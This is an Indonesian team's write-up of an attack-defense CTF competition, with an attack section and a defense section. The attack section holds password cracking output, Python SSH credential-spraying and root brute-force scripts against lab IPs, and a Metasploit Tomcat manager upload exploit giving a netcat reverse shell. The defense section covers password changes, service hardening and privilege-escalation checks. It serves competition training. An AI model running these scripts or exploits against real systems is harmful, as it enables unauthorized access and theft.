



**Aku adalah aku, di dalam diriku ada aku, tiada aku
melainkan diriku dan tiada diriku melainkan itu aku, aku
kuasa akan aku, karena aku adalah aku**

0xazr
waduh

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Attack

User Access through Insecure Password

Disini kami memanfaatkan celah dari password user yang tidak diubah, contohnya pada user "kali" yang berhasil kami crack passwordnya.

```
(kosong㉿kali)-[~/ctf/final_unity/creds]
$ john --wordlist=~/ctf/rockyou.txt password.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 ASIMD 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
161103          (kali)
1g 0:00:10:47 6.44% (ETA: 06:25:03) 0.001545g/s 1617p/s 6648c/s 6648C/s Mcnabb5..MERCILON
1g 0:00:15:11 9.25% (ETA: 06:21:39) 0.001097g/s 1627p/s 6639c/s 6639C/s moerth19..mmn831
1g 0:00:23:06 14.25% (ETA: 06:19:36) 0.000721g/s 1623p/s 6578c/s 6578C/s 4metosee..4anewlife
1g 0:00:41:30 27.05% (ETA: 06:10:55) 0.000401g/s 1625p/s 6548c/s 6548C/s sakimm..sajuada
1g 0:00:59:12 39.50% (ETA: 06:07:24) 0.000281g/s 1629p/s 6550c/s 6550C/s maribass13..marianuno
1g 0:01:17:21 52.30% (ETA: 06:05:26) 0.000215g/s 1632p/s 6553c/s 6553C/s hodgson93..hochi2
1g 0:01:47:17 73.35% (ETA: 06:03:47) 0.000155g/s 1632p/s 6547c/s 6547C/s Vixen1993..Vikke-1998
1g 0:01:47:18 73.37% (ETA: 06:03:47) 0.000155g/s 1632p/s 6547c/s 6547C/s Verito12..Vannyzitoo
1g 0:01:51:59 76.56% (ETA: 06:03:48) 0.000148g/s 1632p/s 6546c/s 6546C/s Kingcountry..Killing
1g 0:02:02:03 83.37% (ETA: 06:03:56) 0.000136g/s 1633p/s 6550c/s 6550C/s 6990399..6982156308
1g 0:02:02:04 83.38% (ETA: 06:03:55) 0.000136g/s 1633p/s 6550c/s 6550C/s 6978444..6975529621
1g 0:02:12:42 90.29% (ETA: 06:04:30) 0.000125g/s 1636p/s 6558c/s 6558C/s 1bugger1..1bolce
1g 0:02:12:43 90.30% (ETA: 06:04:30) 0.000125g/s 1635p/s 6558c/s 6558C/s 1bolabola..1bigbooboo
1g 0:02:22:10 97.23% (ETA: 06:03:45) 0.000117g/s 1636p/s 6561c/s 6561C/s 062696js..062490m
1g 0:02:26:00 DONE (2023-05-19 06:03) 0.000114g/s 1637p/s 6562c/s 6562C/s !!!playboy!!!7..*7;Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Selanjutnya kami melakukan scripting untuk mempercepat proses mendapatkan flag jadi selanjutnya tinggal kami submit. Berikut script yang kami gunakan

```
import paramiko
from paramiko import AutoAddPolicy

def getcmd(cmd):
    _, ssh_stdout, _ = ssh.exec_command(cmd)
    res = ssh_stdout.readlines()
    res = ''.join(res)
    return res

ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

creds = {
    'kali' : '161103',

}

hosts =
['10.1.40.21','10.1.40.26','10.1.40.8','10.1.40.28','10.1.40.3','10.1.40.32','10.1.40.18','10.1.40.14','10.1.40.9','10.1.40.11']

for host in hosts:
    for username in creds:
        password = creds[username]
        print('[{}][{}].format(host, username))
```

```

try:
    ssh.connect(host, username=username, password=password)
    root_flag = getcmd('cat /root/flag.txt')
    user_flag = getcmd('cat /home/*/flag.txt').split("\n")
    print(f"[{host}] root flag : {root_flag}")
    print(f"[{host}] user flag : {user_flag}")
except Exception as e:
    print(f"[{host}] error {e}")

```

```

[* scripts python3 brute_user.py
[10.1.40.21] [kali]
[10.1.40.21] root flag :
[10.1.40.21] user flag : ['UNITY2023{sdajidsadasefaefeafe3q3}', 'UNITY2023{sdajidsadasefaefeafe3q3}', 'UNITY2023{sdajidsadasefaefeafe3q3}', 'UNITY2023{sdajidsadasefaefeafe3q3}', 'UNITY2023{sdajidsadasefaefeafe3q3}', '']
[10.1.40.21] [kali]
Exception (client): Error reading SSH protocol banner[Errno 54] Connection reset by peer
Traceback (most recent call last):
  File "/Users/kosong/.pyenv/versions/3.11.2/lib/python3.11/site-packages/paramiko/transport.py", line 2270, in _check_banner
    buf = self._packetizer.readline(timeout)
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/kosong/.pyenv/versions/3.11.2/lib/python3.11/site-packages/paramiko/packet.py", line 374, in readline
    buf += self._read_timeout(timeout)
          ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/kosong/.pyenv/versions/3.11.2/lib/python3.11/site-packages/paramiko/packet.py", line 601, in _read_timeout
    x = self._socket.recv(128)
          ^^^^^^^^^^^^^^
ConnectionResetError: [Errno 54] Connection reset by peer

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/Users/kosong/.pyenv/versions/3.11.2/lib/python3.11/site-packages/paramiko/transport.py", line 2093, in run
    self._check_banner()
  File "/Users/kosong/.pyenv/versions/3.11.2/lib/python3.11/site-packages/paramiko/transport.py", line 2274, in _check_banner
    raise SSHException(
paramiko.ssh_exception.SSHException: Error reading SSH protocol banner[Errno 54] Connection reset by peer

[10.1.40.26] error Error reading SSH protocol banner[Errno 54] Connection reset by peer
[10.1.40.8] [kali]
[10.1.40.8] error Authentication failed.
[10.1.40.28] [kali]
[10.1.40.28] root flag :
[10.1.40.28] user flag : ['UNITY2023{dkj0oa39rhf748935}', '']
[10.1.40.3] [kali]
[10.1.40.3] root flag :
[10.1.40.3] user flag : ['UNITY2023{kd098qj4ef9dnf8g3}', 'UNITY2023{kd098qj4ef9dnf8g3}', 'UNITY2023{kd098qj4ef9dnf8g3}', 'UNITY2023{kd098qj4ef9dnf8g3}', 'UNITY2023{kd098qj4ef9dnf8g3}', 'UNITY2023{2001bhd94wyw94wz7t6boh89}', '']
[10.1.40.32] [kali]

[10.1.40.26] error Error reading SSH protocol banner[Errno 54] Connection reset by peer
[10.1.40.8] [kali]
[10.1.40.8] error Authentication failed.
[10.1.40.28] [kali]
[10.1.40.28] root flag :
[10.1.40.28] user flag : ['UNITY2023{dkj0oa39rhf748935}', '']
[10.1.40.3] [kali]
[10.1.40.3] root flag :
[10.1.40.3] user flag : ['UNITY2023{kd098qj4ef9dnf8g3}', 'UNITY2023{kd098qj4ef9dnf8g3}', 'UNITY2023{kd098qj4ef9dnf8g3}', 'UNITY2023{kd098qj4ef9dnf8g3}', 'UNITY2023{kd098qj4ef9dnf8g3}', 'UNITY2023{2001bhd94wyw94wz7t6boh89}', '']
[10.1.40.32] [kali]
[10.1.40.32] error Authentication failed.
[10.1.40.18] [kali]
[10.1.40.18] error Authentication failed.
[10.1.40.14] [kali]
[10.1.40.14] error Authentication failed.
[10.1.40.9] [kali]
[10.1.40.9] error Authentication failed.
[10.1.40.11] [kali]
[10.1.40.11] root flag :
[10.1.40.11] user flag : ['UNITY2023{d0o3qif954jgj0gf}', 'UNITY2023{d0o3qif954jgj0gf}', 'UNITY2023{d0o3qif954jgj0gf}', 'UNITY2023{d0o3qif954jgj0gf}']

```

Selanjutnya untuk user root kami dapatkan beberapa leak contohnya pada tim **CP enjoyer** dimana untuk flag root ada di `/flag.txt`

```

[kali@unity2023:/home$ cat */flag*
UNITY2023{d0o3qif954jgj0gf}
UNITY2023{d0o3qif954jgj0gf}
UNITY2023{d0o3qif954jgj0gf}
UNITY2023{d0o3qif954jgj0gf}
UNITY2023{d0o3qif954jgj0gf}
[kali@unity2023:/home$ cd ..
[kali@unity2023:/ $ ls
bin  cdrom  etc      home      initrd.img.old  lib64      media   opt   root  sbin  srv      sys   usr   vmlinuz      vulhub-master
boot dev   flag.txt  initrd.img lib      lost+found  mnt   proc  run  snap  swap.img  tmp   var   vmlinuz.old
[kali@unity2023: $ cat flag.txt
UNITY2023{gdauguyhagsdjgauo}

```

Untuk NPC disini kami mendapatkan flag user tapi ketika kami submit berhasil di bagian root flag. Untuk list flag kami cantumkan di akhir dari laporan. Untuk tim “aku adalah aku”

merupakan tim kami sendiri , otomatis kita bisa langsung dapat semua flag karena punya akses ke root terhadap user tersebut.

Bruteforce Root through Known Pattern

Pada awal mendapatkan credential root kami mengetahui bahwa password mudah ditebak, jadi kami coba lakukan bruteforce terhadap pattern dari password tersebut. Sayangnya tidak ada 1 target pun yang kami dapat, berikut untuk script yang kami gunakan

```
import paramiko
from paramiko import AutoAddPolicy

def getcmd(cmd):
    _, ssh_stdout, _ = ssh.exec_command(cmd)
    res = ssh_stdout.readlines()
    res = ".join(res)
    return res

ssh = paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

passwords = [f'unity{i}' for i in range(1,100)]

hosts =
['10.1.40.21','10.1.40.26','10.1.40.28','10.1.40.3','10.1.40.32','10.1.40.18','10.1.40.14','10.1.40.9','10.1.40.11']
usernames = ['root']

for host in hosts:
    for username in usernames:
        for password in passwords:
            print('[{} {}]'.format(host, username))
            try:
                ssh.connect(host, username=username, password=password)
                root_flag = getcmd('cat /root/flag.txt')
                user_flag = getcmd('cat /home/*/flag.txt').split("\n")
                print(f"[{host}] root flag : {root_flag}")
                print(f"[{host}] user flag : {user_flag}")
            except Exception as e:
                print(f"[{host}] error {e}")
```

Apache Tomcat Default Credentials

Disini kami coba lakukan exploit dengan memanfaatkan credential dari apache tomcat yang terdapat fitur manager. Disini kami bisa mendapatkan reverse shell dengan memanfaatkan fitur upload war pada service tersebut. Untuk exploitasi kami menggunakan metasploit dengan nama exploit yaitu multi/http/tomcat_mgr_upload

```

[msf6 exploit(multi/http/tomcat_mgr_upload) > run

[-] Handler failed to bind to 10.1.40.10:4444:-
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying aXXYk8D8up5xynFeXrHg0k55Yp6us...
[*] Executing aXXYk8D8up5xynFeXrHg0k55Yp6us...
[*] Undeploying aXXYk8D8up5xynFeXrHg0k55Yp6us ...
[*] Undeployed at /manager/html/undeploy
[*] Exploit completed, but no session was created.

→ misc nc -l -n 4444
id
uid=112(tomcat8) gid=115(tomcat8) groups=115(tomcat8)
id
uid=112(tomcat8) gid=115(tomcat8) groups=115(tomcat8)
cd /home
ls
debian
kali
linux
node_modules
ubuntu
unity2023
cd unity2023
ls
flag.txt
vsftpd-2.3.4-infected
ls -al
total 48
drwxr-xr-x 7 unity2023 unity2023 4096 May 19 05:14 .
drwxr-xr-x 8 root      root      4096 May 19 02:30 ..
-rw----- 1 unity2023 unity2023    8 May 18 19:38 .bash_history
-rw-r--r-- 1 unity2023 unity2023   220 Apr  4 2018 .bash_logout
-rw-r--r-- 1 unity2023 unity2023 3771 Apr  4 2018 .bashrc
drwx----- 2 unity2023 unity2023 4096 May 18 17:04 .cache
-rw-r--r-- 1 root      root      29 May 19 06:36 flag.txt
drwx----- 3 unity2023 unity2023 4096 May 18 17:04 .gnupg
drwxrwxr-x 3 unity2023 unity2023 4096 May 18 23:17 .local
-rw-r--r-- 1 unity2023 unity2023   807 Apr  4 2018 .profile
drwx----- 2 unity2023 unity2023 4096 May 18 17:04 .ssh
-rw-r--r-- 1 unity2023 unity2023     0 May 18 19:24 .sudo_as_admin_successful
drwxr-xr-x 9 root      root      4096 May 19 02:01 vsftpd-2.3.4-infected
cat flag.txt
UNITY2023{d0o3qifs954jgj0gf}

```

Defense

Finding All Services

Setelah mengganti seluruh password user, selanjutnya kami mencari seluruh port yang terbuka dan juga process nya. Disini kami menggunakan custom script kami sendiri :

```

#!/bin/bash

# Run netstat command and filter for TCP and UDP listening ports
netstat_output=$(netstat -tulnep)

```

```

# Print header
printf "%-10s %-10s %-20s\n" "Port" "PID" "Program"
echo "-----"

# Process netstat output line by line
while IFS= read -r line; do
    # Check if the line represents a listening port
    if [[ $line =~ ^(tcp|udp).*LISTEN.*$ ]]; then
        # Extract the port number
        port=$(echo "$line" | awk '{print $4}' | awk -F':' '{print $NF}')
        # Extract the PID
        pid=$(echo "$line" | awk '{print $9}' | awk -F/ '{print $1}')

        # Use ps command to get the program name based on PID
        program=$(ps $pid|awk 'NR>1{$1=$2=$3=$4=""}; print $0')

        # Print the port, PID, and program name
        printf "%-10s %-10s %-20s\n" "$port" "$pid" "$program"
    fi
done <<< "$netstat_output"

```

```

root@unity2023:~# ./list_port.sh
Port      PID      Program
-----  

80      1145      nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
53      896       /lib/systemd/systemd-resolved
22      1146      /usr/sbin/sshd -D
445     1313      /usr/sbin/smbd --foreground --no-process-group
139     1313      /usr/sbin/smbd --foreground --no-process-group
8080    1330      /usr/lib/jvm/default-java/bin/java -Djava.util.logging.config.file=/var/lib/tomcat8/conf/logging.properties
-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.awt.headless=true -XX:+UseConcMarkSweepGC -Djdk.tls.ephemer
alDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=
0027 -Dignore.endorsed.dirs= -classpath /usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar -Dcatalina.base=/
var/lib/tomcat8 -Dcatalina.home=/usr/share/tomcat8 -Djava.io.tmpdir=/tmp/tomcat8-tomcat8-tmp org.apache.catalina.startup.Bootstrap st
art
80      1145      nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
21      1135      /usr/sbin/vsftpd /etc/vsftpd.conf
22      1146      /usr/sbin/sshd -D
445     1313      /usr/sbin/smbd --foreground --no-process-group
8005    1330      /usr/lib/jvm/default-java/bin/java -Djava.util.logging.config.file=/var/lib/tomcat8/conf/logging.properties
-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.awt.headless=true -XX:+UseConcMarkSweepGC -Djdk.tls.ephemer
alDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=
0027 -Dignore.endorsed.dirs= -classpath /usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar -Dcatalina.base=/
var/lib/tomcat8 -Dcatalina.home=/usr/share/tomcat8 -Djava.io.tmpdir=/tmp/tomcat8-tomcat8-tmp org.apache.catalina.startup.Bootstrap st
art
139     1313      /usr/sbin/smbd --foreground --no-process-group
root@unity2023:~#

```

daemon	1066	0.0	0.1	28336	2448	?	Ss	12:49	0:00 /usr/sbin/atd -f
syslog	1067	0.0	0.2	263048	4768	?	Ssl	12:49	0:00 /usr/sbin/rsyslogd -n
root	1069	0.0	0.9	185948	20400	?	Ssl	12:49	0:00 /usr/bin/python3 /usr/share/unattended-
root	1115	0.0	0.0	110420	2036	?	Ssl	12:49	0:00 /usr/sbin/irqbalance --foreground
root	1123	0.0	0.0	95548	1620	?	Ssl	12:49	0:00 /usr/bin/lxcfs /var/lib/lxcfs/
root	1129	0.0	0.6	264072	12432	?	Ss	12:49	0:00 /usr/sbin/nmbd --foreground --no-proces
root	1133	0.0	0.3	286248	6772	?	Ssl	12:49	0:00 /usr/lib/accountsservice/accounts-daemo
root	1144	0.0	2.0	1436648	42024	?	Ssl	12:49	0:00 /usr/bin/containerd
root	1145	0.0	0.0	141724	1576	?	Ss	12:49	0:00 nginx: master process /usr/sbin/nginx -
root	1146	0.0	0.3	72304	6524	?	Ss	12:49	0:00 /usr/sbin/sshd -D
www-data	1147	0.0	0.3	144020	6352	?	S	12:49	0:00 nginx: worker process
www-data	1148	0.0	0.3	144020	6352	?	S	12:49	0:00 nginx: worker process
root	1168	0.0	0.0	14896	1920	tty1	Sst	12:49	0:00 /sbin/agetty -o -p -- \u --noclear tty1
root	1204	0.0	0.3	288884	6484	?	Ssl	12:49	0:00 /usr/lib/policykit-1/polkitd --no-debug
root	1313	0.0	1.0	355428	20512	?	Ss	12:49	0:00 /usr/sbin/smbd --foreground --no-proces
tomcat8	1330	0.5	6.0	3126332	122988	?	Sl	12:49	0:10 /usr/lib/jvm/default-java/bin/java -Dja
root	1353	0.0	0.2	343676	5928	?	S	12:49	0:00 /usr/sbin/smbd --foreground --no-proces
root	1354	0.0	0.2	343700	4696	?	S	12:49	0:00 /usr/sbin/smbd --foreground --no-proces
root	1365	0.0	0.3	355412	6700	?	S	12:49	0:00 /usr/sbin/smbd --foreground --no-proces
root	1430	0.0	3.6	1433104	74696	?	Ssl	12:49	0:00 /usr/bin/dockerd -H fd:// --containerd=
root	2341	0.0	0.0	0	0	?	I	13:04	0:00 [kworker/0:0]
root	2427	0.0	0.3	107988	7220	?	Rs	13:12	0:00 sshd: root@pts/0
root	2430	0.0	0.3	76632	7632	?	Ss	13:12	0:00 /lib/systemd/systemd --user
root	2431	0.0	0.1	191536	2632	?	S	13:12	0:00 (sd-pam)
root	2457	0.0	0.0	0	0	?	I	13:12	0:00 [kworker/1:1]
root	2565	0.0	0.2	21464	5200	pts/0	Ss	13:12	0:00 -bash
root	2720	0.0	0.3	105692	7020	?	Ss	13:16	0:00 sshd: root@pts/1
root	2787	0.0	0.2	23232	5580	pts/1	Sst	13:16	0:00 -bash
root	2837	0.0	0.1	29160	2896	?	Ss	13:18	0:00 /usr/sbin/vsftpd /etc/vsftpd.conf
root	2845	0.0	0.0	0	0	?	I	13:18	0:00 [kworker/0:1]
root	2857	0.0	0.1	38380	3652	pts/0	R+	13:20	0:00 ps aux

Kami menemukan beberapa services dan process seperti Apache Tomcat, FTP, Nginx, SSH, SMB, docker, dll. Berikut untuk daftar servis yang kami temukan

No	IP:PORT	Service and Version
1	0.0.0.0:139	Samba version 4.7.6-Ubuntu
2	0.0.0.0:80	Apache Tomcat 8.5.39
3	127.0.0.53:53	DNS
4	0.0.0.0:22	OpenSSH 7.6p1
5	0.0.0.0:445	Samba version 4.7.6-Ubuntu
6	127.0.0.1:8005	Apache Tomcat 8.5.39
7	:::8080	Apache Tomcat 8.5.39
8	:::21	Vsftpd 3.0.3

Change User Password

Hal yang pertama kali lakukan adalah mengganti seluruh password milik root dan password milik seluruh user (unity2023, ubuntu, linux, debian, kali). Berikut untuk daftar perubahan password yang sudah kami lakukan beserta password yang kami ketahui

Old Password	New Password	Username
unity3	qjgRkba3e4M75PTgjjPwSYpz	root

-	Xpy2aFZZN9U0Ojas8a3Z1Jip	unity2023
-	IR12OcJie2WgWO6FeKe14sEO	ubuntu
-	ZDYB5gxn4UAI57m00p00Y4FT	linux
-	zVswr4YfdbQ4rNg8QtedkO99	debian
161103	1nAcOoYOQC8X6W2MngHi37XJ	kali

Securing FTP Service

Disini kami melakukan hardening terhadap servis ftp dengan melakukan disable terhadap write akses dan tentu untuk mengaksesnya tetap perlu menggunakan credential yang sama seperti SSH. Selain itu kami memastikan bahwa anonymous access sudah didisable, berikut potongan kode hardening yang kami lakukan

/etc/vsftpd.conf

```
----- SNIPPET -----
anonymous_enable=NO
write_enable=NO
----- SNIPPET -----
```

Kemudian lakukan restart dengan menjalankan command

```
service vsftpd restart
```

Change Default Password Apache Tomcat

Selanjutnya kami mengubah default password dari apache tomcat yang ada pada "/etc/tomcat8/tomcat-users.xml" menjadi seperti di bawah ini :

```
...
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="863lvj#MQheG"
roles="standart,manager-gui,admin-gui"/>
...
```

Kemudian service Apache Tomcat kami restart untuk menerapkan perubahan di atas.

HTTP Status 404 – Not Found

Type Status Report

Message /sadas

Description The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.

Apache Tomcat/8.5.39 (Ubuntu)

Selain itu, kami pastikan bahwa versi dari Apache Tomcat yaitu 8.5.39 tidak ada vulnerability yang dapat kami exploit.

Removing User From Malicious Group

Di sini kami mengeluarkan user unity2023 dari grup-grup yang memiliki kemungkinan untuk menjadi root, seperti contohnya grup lxd. Untuk referensi privilege escalation dari grup lxd bisa diakses dari link berikut

<https://steflan-security.com/linux-privilege-escalation-exploiting-the-lxc-lxd-groups/> .

Cara untuk mengeluarkan user unity2023 dari grup berbahaya adalah dengan menjalankan command berikut

```
gpasswd -d unity2023 lxd
gpasswd -d unity2023 sudo
gpasswd -d unity2023 dip
gpasswd -d unity2023 cdrom
gpasswd -d unity2023 adm
gpasswd -d unity2023 plugdev
```

Untuk user lain disini kami tidak menemukan grup yang berbahaya.

Securing SMB Service

Disini kami melakukan pengecekan baik dari luar dan dalam untuk servis SMB. Disini kami coba lakukan pembacaan terhadap file /etc/samba/smb.conf (config dari smb).

```
[printers]
comment = All Printers
browseable = no
path = /var/spool/samba
printable = yes
guest ok = no
read only = yes
create mask = 0700

# Windows clients look for this share name as a source of downloadable
# printer drivers
[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
browseable = yes
read only = yes
guest ok = no
```

Dapat dilihat bahwa shared folder yang dishare tidak berbahaya seperti terlihat pada beberapa atribut yaitu browseable, path, guest ok, dan read only. Jadi disini kami tidak melakukan perubahan

Ensuring No malicious Access from Docker

Di Awal kami lakukan pengecekan user apa saja yang ada di grup docker tetapi tidak ada user pada grup docker yang berarti hanya root saja yang bisa mengaksesnya. Selanjutnya karena adanya docker pada process di atas tadi, maka perlu kita pastikan bahwa tidak ada *malicious access* dari docker tersebut.

```
root@unity2023:~# docker container ls -a
CONTAINER ID        IMAGE               COMMAND             CREATED            STATUS              PORTS
 NAMES
6be043e81f37        vulhub/flask:1.1.1   "/bin/sh -c 'gunicorn..."   16 hours ago      Exited (0) 14 hours ago   0.0.0.0:8000->8000/tcp, :::8000
-->8000/tcp          ssti-web-1
root@unity2023:~#
```

Karena service container pada docker tersebut memang sudah mati, maka kami tidak perlu melakukan patching apapun pada service docker tersebut.

Ensuring No malicious Access from Nginx

Melihat adanya service nginx pada list process di atas tadi, maka kita perlu pastikan bahwa tidak ada *malicious access* dari nginx tersebut.

```

# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

##
## Virtual Host Configs
##

include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}

#mail {
#     # See sample authentication script at:
#     # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
#
#     # auth_http localhost/auth.php;
#     # pop3_capabilities "TOP" "USER";
#     # imap_capabilities "IMAP4rev1" "UIDPLUS";
#
#     server {
#         listen      localhost:110;
#         protocol   pop3;
#         proxy      on;
#     }
#
#     server {

```

Melihat dari file **/etc/nginx/nginx.conf**, **/etc/nginx/sites-enabled/default**, **/etc/nginx/sites-enabled/example**, kami pastikan tidak ada config yang mencurigakan, jadi kami tidak melakukan patching apapun pada service Nginx.

```

root@unity2023:~# nginx -v
nginx version: nginx/1.14.0 (Ubuntu)
root@unity2023:~

```

Selain itu, kami pastikan bahwa versi dari nginx yang digunakan, yaitu **1.14.0** tidak memiliki vulnerability yang dapat kami gunakan.

Ensuring No LPE through Outdated Services

Disini kami lakukan pengecekan kemungkinan LPE dari beberapa service/binary yang outdated dan hasilnya tidak ditemukan LPE dari CVE yang telah kami coba, berikut untuk CVE yang telah kami coba :

- CVE-2021-4034
- CVE-2021-3156
- CVE-2021-3156
- CVE-2018-18955

List Flag

No	IP Address	Team Name	Flag User	Flag Root
1	10.1.40.21	NPC		UNITY2023{sdajidsadasefae feafe3q3}
2	10.1.40.26	Mentor Carry Us		

3	10.1.40. 28	Pengen Jadi hecker	UNITY2023{dkj0oa39rhf74 8935}	
4	10.1.40. 3	HalIoKack	UNITY2023{kd098qj4ef9d nf8g3}	
5	10.1.40. 32	Big Brain Kidz		
6	10.1.40. 18	ITNOJ		
7	10.1.40. 14	Ridok Bapak Jamsud		
8	10.1.40. 8	Aku adalah aku	UNITY2023{oadj99oefhq dasdd}	UNITY2023{dafo9ejhafvohaq 0ewfpqof}
9	10.1.40. 9	Kessoku Band		
10	10.1.40. 11	CP Enjoyer	UNITY2023{d0o3qifs954jg j0gf}	UNITY2023{gdauguyhagsdjg auo}